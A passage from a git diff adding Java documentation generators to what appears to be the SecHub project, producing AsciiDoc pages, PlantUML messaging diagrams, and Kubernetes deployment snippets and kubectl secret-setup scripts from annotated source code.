SystemPropertiesJavaLaunchExampleGenerator(); + ScheduleDescriptionGenerator scheduleDescriptionGenerator = new ScheduleDescriptionGenerator(); + UseCaseModelAsciiDocGenerator useCaseModelAsciiDocGenerator = new UseCaseModelAsciiDocGenerator(); + UseCaseRestDocModelAsciiDocGenerator useCaseRestDocModelAsciiDocGenerator = new UseCaseRestDocModelAsciiDocGenerator(); + TextFileWriter writer = new TextFileWriter(); + DomainMessagingFilesGenerator domainMessagingFilesGenerator = new DomainMessagingFilesGenerator(writer); + + public static void main(String[] args) throws Exception { + if (args.length != 1) { + throw new IllegalArgumentException("call with target gen folder as first parameter only!"); + } + output(">AsciidocGenerator starting"); + + Logger root = (Logger)LoggerFactory.getLogger(Logger.ROOT_LOGGER_NAME); + root.setLevel(Level.INFO); // avoid waringings from + Logger reflections = (Logger)LoggerFactory.getLogger("org.reflections"); + reflections.setLevel(Level.ERROR); + + String path = args[0]; + File documentsGenFolder = new File(path); + File documentsFolder = documentsGenFolder.getParentFile(); + File diagramsFolder = new File(documentsFolder.getParentFile(), "diagrams"); + File diagramsGenFolder = new File(diagramsFolder, "gen"); + + File systemProperitesFile = createSystemProperyTargetFile(documentsGenFolder); + File javaLaunchExampleFile = createJavaLaunchExampleTargetFile(documentsGenFolder); + File scheduleDescriptionFile = createScheduleDescriptionTargetFile(documentsGenFolder); + File specialMockValuePropertiesFile = createSpecialMockConfigurationPropertiesTargetFile(documentsGenFolder); + File messagingFile = createMessagingTargetFile(documentsGenFolder); + + AsciidocGenerator generator = new AsciidocGenerator(); + + generator.fetchMustBeDocumentParts(); + generator.generateSystemPropertiesDescription(systemProperitesFile); + generator.generateJavaLaunchExample(javaLaunchExampleFile); + generator.generateScheduleDescription(scheduleDescriptionFile); + generator.generateMockPropertiesDescription(specialMockValuePropertiesFile); + generator.generateMessagingFiles(messagingFile, diagramsGenFolder); + generator.generateUseCaseFiles(documentsGenFolder); + generator.generateProfilesOverview(diagramsGenFolder); + } + + + private void generateProfilesOverview(File diagramsGenFolder) throws IOException { + SpringProfilesPlantumlGenerator geno = new SpringProfilesPlantumlGenerator(); + + /* generate overview*/ + generateSpringProfilePlantUML(diagramsGenFolder, geno, SpringProfilesPlantumlGenerator.config().build()); + + generateSpringProfilePlantUML(diagramsGenFolder, geno, SpringProfilesPlantumlGenerator.config().filterToProfile("prod").build()); + generateSpringProfilePlantUML(diagramsGenFolder, geno, SpringProfilesPlantumlGenerator.config().filterToProfile("dev").satelites("mocked_notifications","mocked_products","real_products","h2","postgres").build()); + generateSpringProfilePlantUML(diagramsGenFolder, geno, SpringProfilesPlantumlGenerator.config().filterToProfile("integrationtest").satelites("mocked_products","real_products","h2","postgres").build()); + + } + + private void generateSpringProfilePlantUML(File diagramsGenFolder, SpringProfilesPlantumlGenerator geno, SpringProfileGenoConfig config) + throws IOException { + String addition = config.getFilteredProfile(); + if (addition != null) { + addition = "-" + addition; + }else { + addition=""; + } + String text = geno.generate(config); + File targetFile = new File(diagramsGenFolder, "gen_springprofiles" + addition + ".puml"); + writer.save(targetFile, text); + } + + private void generateMessagingFiles(File messagingFile, File diagramsGenFolder) throws IOException { + DomainMessagingModel model = getCollector().fetchDomainMessagingModel(); + domainMessagingFilesGenerator.generateMessagingFiles(messagingFile, diagramsGenFolder, model); + } + + private void generateUseCaseFiles(File documentsGenFolder) throws IOException { + UseCaseModel model = getCollector().fetchUseCaseModel(); + UseCaseRestDocModel restDocModel = getCollector().fetchUseCaseRestDocModel(model); + + String useCaseAsciidoc = useCaseModelAsciiDocGenerator.generateAsciidoc(model); + + File targetFile = new File(documentsGenFolder, "gen_usecases.adoc"); + writer.save(targetFile, useCaseAsciidoc); + + String usecaseRestDoc = useCaseRestDocModelAsciiDocGenerator.generateAsciidoc(writer, restDocModel, true, UseCaseIdentifier.values()); + File targetFile2 = new File(documentsGenFolder, "gen_uc_restdoc.adoc"); + writer.save(targetFile2, usecaseRestDoc); + + /* @formatter:off */ + String usecaseRestDocUserDocumentation = useCaseRestDocModelAsciiDocGenerator.generateAsciidoc(writer, restDocModel, true, + UseCaseIdentifier.UC_SIGNUP, + UseCaseIdentifier.UC_USER_CREATES_JOB, + UseCaseIdentifier.UC_USER_APPROVES_JOB, + UseCaseIdentifier.UC_USER_GET_JOB_REPORT, + UseCaseIdentifier.UC_USER_GET_JOB_STATUS); + /* @formatter:on */ + File targetFile3 = new File(documentsGenFolder, "gen_uc_websiteumentation_restdoc.adoc"); + writer.save(targetFile3, usecaseRestDocUserDocumentation); + + } + + static void output(String text) { + // We just do an output on console for build tool - e.g gradle... + /* NOSONAR */System.out.println(text); + } + + static File createScheduleDescriptionTargetFile(File genFolder) { + return new File(genFolder, "gen_scheduling.adoc"); + } + + static File createSystemProperyTargetFile(File genFolder) { + return new File(genFolder, "gen_systemproperties.adoc"); + } + + static File createJavaLaunchExampleTargetFile(File genFolder) { + return new File(genFolder, "gen_javalaunchexample.adoc"); + } + + static File createMessagingTargetFile(File genFolder) { + return new File(genFolder, "gen_messaging.adoc"); + } + + static File createSpecialMockConfigurationPropertiesTargetFile(File genFolder) { + return new File(genFolder, "gen_mockadapterproperties.adoc"); + } + + /** + * Just an extra method to seperate the fetch mechanism from others + */ + public void fetchMustBeDocumentParts() { + getCollector().fetchMustBeDocumentParts(); + } + + public void fetchDomainMessagingParts() { + getCollector().fetchDomainMessagingModel(); + } + + public void generateSystemPropertiesDescription(File targetFile) throws IOException { + String text = propertiesGenerator.generate(getCollector().fetchMustBeDocumentParts()); + writer.save(targetFile, text); + } + + public void generateJavaLaunchExample(File targetFile) throws IOException { + String text = javaLaunchExampleGenerator.generate(getCollector().fetchMustBeDocumentParts()); + writer.save(targetFile, text); + } + + public void generateScheduleDescription(File targetFile) throws IOException { + String text = scheduleDescriptionGenerator.generate(getCollector()); + writer.save(targetFile, text); + } + + private void generateMockPropertiesDescription(File targetFile) throws IOException { + String text = propertiesGenerator.generate(getCollector().fetchMockAdapterSpringValueDocumentationParts()); + writer.save(targetFile, text); + } + + private ClasspathDataCollector getCollector() { + if (collector == null) { + collector = new ClasspathDataCollector(); + } + return collector; + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/DocAnnotationData.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/DocAnnotationData.java new file mode 100644 index 0000000000..04aebf7460 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/DocAnnotationData.java @@ -0,0 +1,107 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +import org.springframework.scheduling.annotation.Scheduled; + +/* inspired by: https://raw.githubusercontent.com/de-jcup/code2doc/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationData.java */ +/** + * Annotation data for documentation + * @author Albert Tregnaghi + * + */ +public class DocAnnotationData implements Comparable{ + /** + * Reflection link to class where annotation @MustBeDocumented is appended + */ + public Class /*NOSONAR*/linkedClass; + /** + * Scope for this annotation data - is scope from @MustBeDocumented + */ + public String /*NOSONAR*/ scope = "none"; + + /** + * Reflection link to method where annotation @MustBeDocumented is appended + */ + public Method /*NOSONAR*/linkedMethod; + + /** + * Meta data from spring @Value annotation - it just contains the value() + * content + */ + public String /*NOSONAR*/springValue; + + /** + * Meta data from spring @Scheduled annotation - contains full annotation or null + */ + public Scheduled /*NOSONAR*/springScheduled; + + /** + * Reflection link to field where annotation @MustBeDocumented is appended + */ + public Field /*NOSONAR*/linkedField; + public String /*NOSONAR*/description; + public boolean /*NOSONAR*/isSecret; + + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((linkedClass == null) ? 0 : linkedClass.hashCode()); + result = prime * result + ((linkedField == null) ? 0 : linkedField.hashCode()); + result = prime * result + ((linkedMethod == null) ? 0 : linkedMethod.hashCode()); + result = prime * result + ((scope == null) ? 0 : scope.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + DocAnnotationData other = (DocAnnotationData) obj; + if (linkedClass == null) { + if (other.linkedClass != null) + return false; + } else if (!linkedClass.equals(other.linkedClass)) { + return false; + } + if (linkedField == null) { + if (other.linkedField != null) + return false; + } else if (!linkedField.equals(other.linkedField)) { + return false; + } + if (linkedMethod == null) { + if (other.linkedMethod != null) + return false; + } else if (!linkedMethod.equals(other.linkedMethod)) { + return false; + } + if (scope == null) { + if (other.scope != null) + return false; + } else if (!scope.equals(other.scope)) + return false; + return true; + } + + @Override + public String toString() { + return "TechInfoLinkAnnotationData [linkedClass=" + linkedClass + ", scope=" + scope + ", linkedMethod=" + + linkedMethod + ", linkedField=" + linkedField + "]"; + } + + @Override + public int compareTo(DocAnnotationData o) { + /* dumb but working */ + return hashCode()-o.hashCode(); + } + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/Generator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/Generator.java new file mode 100644 index 0000000000..02b8def1ff --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/Generator.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +/** + * Just a marker interface + * @author Albert Tregnaghi + * + */ +public interface Generator { + + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/GeneratorConstants.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/GeneratorConstants.java new file mode 100644 index 0000000000..a779cdb5a3 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/GeneratorConstants.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + +public class GeneratorConstants { + public static final boolean DEBUG = Boolean.getBoolean("com.daimler.sechub.docgen.debug"); +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java new file mode 100644 index 0000000000..0b287f953c --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen; + + +import static com.daimler.sechub.sharedkernel.util.Assert.*; + +import java.lang.annotation.Annotation; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.reflections.Reflections; + +import com.daimler.sechub.docgen.util.DocGeneratorUtil; +import com.daimler.sechub.sharedkernel.MustBeDocumented; + +/** + * Collector - inspired by https://github.com/de-jcup/code2doc/blob/master/code2doc-core/src/main/java/de/jcup/code2doc/core/internal/collect/TechInfoLinkAnnotationDataCollector.java + * @author Albert Tregnaghi + */ +public class MustBeDocumentedDataCollector { + + private Reflections reflections; + + public MustBeDocumentedDataCollector(Reflections reflections) { + notNull(reflections, "reflections must not be null!"); + this.reflections = reflections; + } + + public List collect() { + + Class annotation = MustBeDocumented.class; + + Set> types = reflections.getTypesAnnotatedWith(annotation); + Set methods = reflections.getMethodsAnnotatedWith(annotation); + Set fields = reflections.getFieldsAnnotatedWith(annotation); + + List list = new ArrayList<>(); + /* handle class annotations */ + for (Class type : types) { + MustBeDocumented info = type.getDeclaredAnnotation(MustBeDocumented.class); + if (info==null) { + continue; + } + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,type); + data.linkedClass=type; + list.add(data); + } + + /* handle method annotations */ + for (Method method : methods) { + MustBeDocumented info = method.getDeclaredAnnotation(MustBeDocumented.class); + if (info==null) { + continue; + } + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,method); + data.linkedMethod=method; + + list.add(data); + } + + /* handle field annotations */ + for (Field field : fields) { + MustBeDocumented info = field.getDeclaredAnnotation(MustBeDocumented.class); + if (info==null) { + continue; + } + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + data.linkedField=field; + list.add(data); + } + + return list; + + } + + +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesFiles.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesFiles.java new file mode 100644 index 0000000000..2991c98a47 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesFiles.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.kubernetes; + +import static com.daimler.sechub.docgen.util.DocGeneratorUtil.*; + +import java.util.Map; +import java.util.Set; +import java.util.TreeMap; +import java.util.TreeSet; + +import com.daimler.sechub.docgen.DocAnnotationData; + +public class KubernetesFiles{ + String serverDeploymentYaml = ""; + Map deploymentMap = new TreeMap<>(); + Map> secretInfoMap = new TreeMap<>(); + + StringBuilder getDeployment(DocAnnotationData data) { + StringBuilder sb = deploymentMap.get(data.scope); + if (sb==null) { + sb = new StringBuilder(); + newLine(sb, "# ----------------------------------------------------------------------------------------------#"); + newLine(sb, "# - Scope: "+data.scope); + newLine(sb, "# --------------------------------------------------------------------------------------------- #"); + deploymentMap.put(data.scope, sb); + } + return sb; + } + + public Set getSecretNames() { + return secretInfoMap.keySet(); + } + + public Set getSecretKeys(String secretName) { + Set set = secretInfoMap.get(secretName); + if (set!=null) { + return set; + } + set = new TreeSet<>(); + secretInfoMap.put(secretName,set); + return set; + } + + public String getFileNameForSecretKey(String key) { + return key+".txt"; + } +} \ No newline at end of file diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java new file mode 100644 index 0000000000..619a5bce34 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java @@ -0,0 +1,306 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.kubernetes; + +import static com.daimler.sechub.docgen.util.DocGeneratorUtil.*; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; + +import com.daimler.sechub.docgen.DocAnnotationData; +import com.daimler.sechub.docgen.Generator; +import com.daimler.sechub.docgen.spring.SpringScheduleExtractor; +import com.daimler.sechub.docgen.spring.SpringScheduleExtractor.SpringSchedule; +import com.daimler.sechub.docgen.spring.SpringValueExtractor; +import com.daimler.sechub.docgen.spring.SpringValueExtractor.SpringValue; +import com.daimler.sechub.docgen.util.ClasspathDataCollector; +import com.daimler.sechub.docgen.util.TextFileWriter; + +class KubernetesTemplateFilesGenerator implements Generator { + + // https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-environment-variables + + SpringValueExtractor springValueExtractor; + SpringScheduleExtractor springScheduledExtractor; + TextFileWriter writer; + + public KubernetesTemplateFilesGenerator() { + this.springValueExtractor = new SpringValueExtractor(); + this.springScheduledExtractor = new SpringScheduleExtractor(); + this.writer = new TextFileWriter(); + } + + public static void main(String[] args) throws Exception { + KubernetesFiles files = new KubernetesFiles(); + new KubernetesTemplateFilesGenerator().generate(files, new ClasspathDataCollector().fetchMustBeDocumentParts()); + } + + public void generate(KubernetesFiles result, List list) throws IOException { + if (list == null || list.isEmpty()) { + return; + } + /* additional parts: */ + /* database: */ + list.add(newSecret("spring.datasource.userid", "database", "Define userid for database access")); + list.add(newSecret("spring.datasource.password", "database", "The password for database access")); + list.add(newSecret("spring.datasource.patroni.password", "database", "The password for patroni sync etc.")); + + /* database-backup: */ + list.add(newSecret("spring.datasource.backup.userid", "database-backup", "The user for database backup access")); + list.add(newSecret("spring.datasource.backup.password", "database-backup", "The password for database backup access")); + + /* ssl: */ + list.add(newSecret("sechub.server.ssl.keystore.password", "ssl", "The password for server ssl certificate")); + + Collections.sort(list); + generateDeploymentFilePart(result, list); + /* now secrets etc. are well known */ + + generateSecretShellScriptsAndMissingSecretFiles(result); + /* last but not least create output file */ + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + "sechub-server-environment-deployment-parts.gen.yaml"); + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + output("Written generated deployment file:" + generatedDeploymentFilePart); + + } + + /** + * Creates annotation data so generator will create deployment code and secret files + shell scripts + * @param key - key to use for a) ENV entry (uppercased + . replaced by _) b) secret files containing data (same as env entr but lowercased +.txt) + * @param scope - used for shellscript filenames + * @param description + * @return data + */ + private DocAnnotationData newSecret(String key, String scope, String description) { + return newAnnotationData(key, scope, description, true); + } + + private DocAnnotationData newAnnotationData(String springValue, String scope, String description, boolean secret) { + DocAnnotationData data = new DocAnnotationData(); + data.isSecret = secret; + data.description = description; + data.scope = scope; + data.springValue = springValue; + return data; + } + + private void generateDeploymentFilePart(KubernetesFiles result, List list) { + for (DocAnnotationData data : list) { + generateDeploymentCode(result, data); + } + String generatorName = getClass().getSimpleName(); + + StringBuilder all = new StringBuilder(); + newLine(all, + "# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #"); + newLine(all, "# + Next kubernetes source is generated by: " + generatorName); + newLine(all, "# + when your code changes and you have new keys etc. please generate again and replace block "); + newLine(all, + "# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #"); + for (StringBuilder code : result.deploymentMap.values()) { + all.append(code); + } + newLine(all, + "# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #"); + newLine(all, "# + End of generated source from: " + getClass().getSimpleName()); + newLine(all, + "# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ #"); + + result.serverDeploymentYaml = all.toString(); + } + + private void generateDeploymentCode(KubernetesFiles result, DocAnnotationData data) { + StringBuilder code = result.getDeployment(data); + + String inspect = findKey(data); + if (inspect == null || inspect.isEmpty()) { + return; + } + String springENV = inspect.replace('.', '_').toUpperCase(); + String description = data.description; + if (description == null || description.isEmpty()) { + description = "No description available"; + } + String[] lines = description.split("\n"); + for (String line: lines) { + newLine(code, " # " + line); + } + newLine(code, " - name: " + springENV); + if (data.isSecret) { + String secretName = createSecretName(data); + String secretKey = springENV.toLowerCase(); + result.getSecretKeys(secretName).add(secretKey); + + newLine(code, " valueFrom:"); + newLine(code, " secretKeyRef:"); + newLine(code, " name: " + secretName); + newLine(code, " key: " + secretKey); + } else { + String springValue = data.springValue; + if (springValue != null && !springValue.isEmpty()) { + SpringValue extract = springValueExtractor.extract(springValue); + newLine(code, " value: \"" + extract.getDefaultValue() + "\""); + } else if (data.springScheduled != null) { + newLine(code, " value: \"" + + springScheduledExtractor.extract(data.springScheduled).getScheduleDefaultValue() + "\""); + } + } + + } + + private void generateSecretShellScriptsAndMissingSecretFiles(KubernetesFiles result) + throws IOException { + createSecretShellScriptAndFiles(result, ensureSecretFolder()); + } + + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder) + throws IOException { + + List allShellScriptNames = new ArrayList<>(); + for (String secretName : result.getSecretNames()) { + StringBuilder sb = new StringBuilder(); + newLine(sb, "#!/bin/bash"); + newLine(sb, "# ------------------------------------------------------------------ #"); + newLine(sb, "# Generated shellscript for creating/updating secret"); + newLine(sb, "# " + secretName + " in namespace :' {{ .NAMESPACE_NAME }} '"); + newLine(sb, "#"); + newLine(sb, "# Generator: " + getClass().getSimpleName()); + newLine(sb, "# ------------------------------------------------------------------ #"); + // @formatter:off + // https://stackoverflow.com/questions/45879498/how-can-i-update-a-secret-on-kuberenetes-when-it-is-generated-from-a-file/45881259 + // https://stackoverflow.com/a/45881259/2590615 + // kubectl create secret generic production-tls --from-file=./tls.key --from-file=./tls.crt --dry-run -o yaml | kubectl apply -f - + // @formatter:on + sb.append("kubectl create secret generic "); + sb.append(secretName); + sb.append(" --namespace={{ .NAMESPACE_NAME }}"); + for (String key : result.getSecretKeys(secretName)) { + // https://medium.com/platformer-blog/using-kubernetes-secrets-5e7530e0378a + String fileName = result.getFileNameForSecretKey(key); + sb.append(" --from-file=").append(key).append("=./" + fileName); + ensureSecretFile(targetFolder, fileName); + } + sb.append(" --dry-run -o yaml | kubectl apply -f -"); + String shellName = createShellScriptName(secretName); + allShellScriptNames.add(shellName); + File targetFile = new File(targetFolder, shellName); + writer.save(targetFile, sb.toString(), true); + output("Updated/Created:" + targetFile); + + } + + /* create a "one fetch all" shell script: */ + StringBuilder sb = new StringBuilder(); + // add robot parts. deploy-secrets-secret-sechub-robot.sh is manual created and exists + // only sechub-robot-secret.yaml must copied to templates folder manual and is not inside GIT + allShellScriptNames.add(0,"deploy-secrets-secret-sechub-robot.sh"); + + newLine(sb, "#!/bin/bash"); + newLine(sb, "# ------------------------------------------------------------------ #"); + newLine(sb, "# Generated shellscript for creating/updating all secrets"); + newLine(sb, "#"); + newLine(sb, "# Generator: " + getClass().getSimpleName()); + newLine(sb, "# ------------------------------------------------------------------ #"); + newLine(sb, ""); + sb.append("echo \"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n"); + sb.append("echo \"+++ Updating all secrets for namespace :' {{ .NAMESPACE_NAME }} '\"\n"); + sb.append("echo \"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\"\n"); + newLine(sb, "# SecHub robot secret"); + newLine(sb, "# ==================="); + newLine(sb, "# This file is never generated and must be downloaded from quay"); + newLine(sb, "# and put into this templates folder"); + newLine(sb, "# "); + newLine(sb, "echo \"Upload creddentials for sechub robot by yaml file from server\""); + newLine(sb, "echo \"(if not existing: download from Registry and copy to template folder)\""); + newLine(sb, "# "); + newLine(sb, ""); + newLine(sb, "# Generated secrets"); + newLine(sb, "# ==================="); + newLine(sb, "# These files are generated and must be filled if not existed before"); + for (String shellScriptName : allShellScriptNames) { + sb.append("echo \"Executing:").append(shellScriptName).append("\"\n"); + sb.append("./").append(shellScriptName).append("\n"); + } + File targetFile = new File(targetFolder, createShellScriptName("all")); + writer.save(targetFile, sb.toString(), true); + output("Updated/Created:" + targetFile); + } + + private String createShellScriptName(String secretName) { + return "deploy-secrets-" + secretName + ".sh"; + } + + private String findKey(DocAnnotationData data) { + if (data.springValue != null) { + SpringValue extracted = springValueExtractor.extract(data.springValue); + if (extracted != null) { + return extracted.getKey(); + } + } + if (data.springScheduled == null) { + return null; + } + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + return extracted.getScheduleKey(); + } + + private String createSecretName(DocAnnotationData data) { + return "secret-" + data.scope; + } + + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + File secretFile = new File(targetFolder, fileName); + if (!secretFile.exists()) { + if (!secretFile.createNewFile()) { + throw new IOException("Was not able to create secret file:" + secretFile); + } else { + output("created empty secret file:" + secretFile); + } + } else { + output("found existing secret file:" + secretFile); + } + } + + private File ensureSecretFolder() { + return assertExists(secretsFolder()); + } + + private File secretsFolder() { + return new File(ensureKubernetesFolder(), "kubegen/env-setup/templates/secrets/"); + } + + private File ensureKubernetesGenFolder() { + File genFolder = new File(ensureKubernetesFolder(), "build/gen/copy-templates/"); + genFolder.mkdirs(); + return assertExists(genFolder); + } + + private File ensureKubernetesTargetRootFolder() { + File secHubServer = new File("./sechub-server"); + if (!secHubServer.exists()) { + /* maybe not gradle but IDE .. so try other... */ + secHubServer = new File("./../sechub-server"); + } + // target root is parent of sechub-server... so we are definitely at root + return assertExists(secHubServer).getParentFile(); + } + + private File ensureKubernetesFolder() { + return assertExists(new File(ensureKubernetesTargetRootFolder(), "kubernetes")); + } + + private File assertExists(File folder) { + if (!folder.exists()) { + throw new IllegalStateException("folder does not exist:" + folder.getAbsolutePath()); + } + return folder; + } + + private void output(String string) { + /* NOSONAR */System.out.println(string); + } + +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java new file mode 100644 index 0000000000..80a6b1ce65 --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingFilesGenerator.java @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.messaging; + +import java.io.File; +import java.io.IOException; +import java.util.SortedSet; +import java.util.TreeSet; + +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.Domain; +import com.daimler.sechub.docgen.messaging.DomainMessagingModel.DomainPart; +import com.daimler.sechub.docgen.util.TextFileWriter; +import com.daimler.sechub.sharedkernel.messaging.MessageID; + +public class DomainMessagingFilesGenerator { + + private TextFileWriter writer; + private DomainMessagingModelPlantUMLGenerator domainMessagingModelPlantUMLGenerator; + + public DomainMessagingFilesGenerator(TextFileWriter writer) { + this.writer=writer; + this.domainMessagingModelPlantUMLGenerator= new DomainMessagingModelPlantUMLGenerator(); + } + + public void generateMessagingFiles(File messagingFile, File diagramsGenFolder, DomainMessagingModel model + ) throws IOException { + String overviewName = "gen_domain_messaging_overview.plantuml"; + DomainMessagingModel reducedModelForOverview = createReducedClone(model); + generateMessagingPlantumlFile(diagramsGenFolder, reducedModelForOverview, "__Overview__ of domain **messaging** ", + overviewName, MessageID.values()); + + for (MessageID messageId: MessageID.values()) { + String messagePlantUmlFileName = createGeneratedPlantUmlFileName(messageId); + generateMessagingPlantumlFile(diagramsGenFolder, model, "__Communication details __ of **message "+ messageId.getId()+"**", + messagePlantUmlFileName, new MessageID[] {messageId}); + } + + StringBuilder sb = new StringBuilder(); + sb.append("[[section-gen-messaging-overview]]\n"); + sb.append("===== Overview\n"); + sb.append("====== Diagram\n"); + sb.append("plantuml::diagrams/gen/"+overviewName+"[format=svg, alt=\"Sequence diagram of messaging overview\"]\n"); + sb.append("\n"); + + SortedSet idsSorted = new TreeSet<>(); + for (MessageID messageId: MessageID.values()) { + idsSorted.add(messageId.getId()); + } + sb.append("[[section-gen-messaging-overview-linklist]]\n"); + sb.append("====== List of all messages\n"); + for (String id: idsSorted) { + sb.append("- <<"+createMessagingLinkId(id)+","+id+">>\n"); + } + sb.append("\n\n"); + for (String id: idsSorted) { + String messagePlantUmlFileName = createGeneratedPlantUmlFileName(MessageID.valueOf(id)); + sb.append("[["+createMessagingLinkId(id)+"]]\n"); + sb.append("===== Message "+id+"\n"); + sb.append("plantuml::diagrams/gen/"+messagePlantUmlFileName+"[format=svg, alt=\"Sequence diagram of messaging "+id+"\"]\n"); + sb.append("\n"); + } + writer.save(messagingFile, sb.toString()); + } + + private String createMessagingLinkId(String messageId) { + return "section-gen-messaging-"+messageId.toLowerCase(); + } + + private String createGeneratedPlantUmlFileName(MessageID messageId) { + return "gen_domain_messaging_"+messageId.name().toLowerCase()+".plantuml"; + } + + private void generateMessagingPlantumlFile(File diagramsGenFolder, DomainMessagingModel model, String title, + String targetFileName, MessageID[] messageIdsToInspect) throws IOException { + String generatedPlantuml = domainMessagingModelPlantUMLGenerator.generate(model, title, messageIdsToInspect,true); + File targetFile = new File(diagramsGenFolder, targetFileName); + writer.save(targetFile, generatedPlantuml); + } + + public DomainMessagingModel createReducedClone(DomainMessagingModel originModel) { + DomainMessagingModel newModel = new DomainMessagingModel(); + for (Domain domain: originModel.domains) { + Domain newDomain = newModel.newDomain(); + newDomain.name=domain.name; + DomainPart newSingleDomainPart = newDomain.newDomainPart(); + newSingleDomainPart.name=domain.name; + for (DomainPart part: domain.domainParts) { + newSingleDomainPart.involvedWithMessages.addAll(part.involvedWithMessages); + newSingleDomainPart.receivingAsyncMessages.addAll(part.receivingAsyncMessages); + newSingleDomainPart.recevingSyncMessages.addAll(part.recevingSyncMessages); + newSingleDomainPart.sendingAsyncMessages.addAll(part.sendingAsyncMessages); + newSingleDomainPart.sendingSyncMessageAnswers.addAll(part.sendingSyncMessageAnswers); + newSingleDomainPart.sendingSyncMessages.addAll(part.sendingSyncMessages); + } + newDomain.domainParts.add(newSingleDomainPart); + newModel.domains.add(newDomain); + } + return newModel; + } +} diff --git a/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java new file mode 100644 index 0000000000..64f17e226d --- /dev/null +++ b/sechub-doc/src/main/java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java @@ -0,0 +1,246 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.docgen.messaging; + +import static com.daimler.sechub.docgen.GeneratorConstants.*; +import static com.daimler.sechub.docgen.util.DocReflectionUtil.*; + +import java.lang.annotation.Annotation; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.TreeSet; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.docgen.util.DocReflectionUtil; +import com.daimler.sechub.sharedkernel.messaging.IsReceivingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsRecevingSyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsRecevingSyncMessages; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingAsyncMessages; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessage; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessageAnswer; +import com.daimler.sechub.sharedkernel.messaging.IsSendingSyncMessageAnswers; +import com.daimler.sechub.sharedkernel.messaging.MessageID; + +public class DomainMessagingModel { + + private static final Logger LOG = LoggerFactory.getLogger(DomainMessagingModel.class); + + List domains = new ArrayList<>(); + + class Domain { + String name; + List domainParts = new ArrayList<>(); + + public DomainPart ensureDomainPart(String name) { + for (DomainPart domain 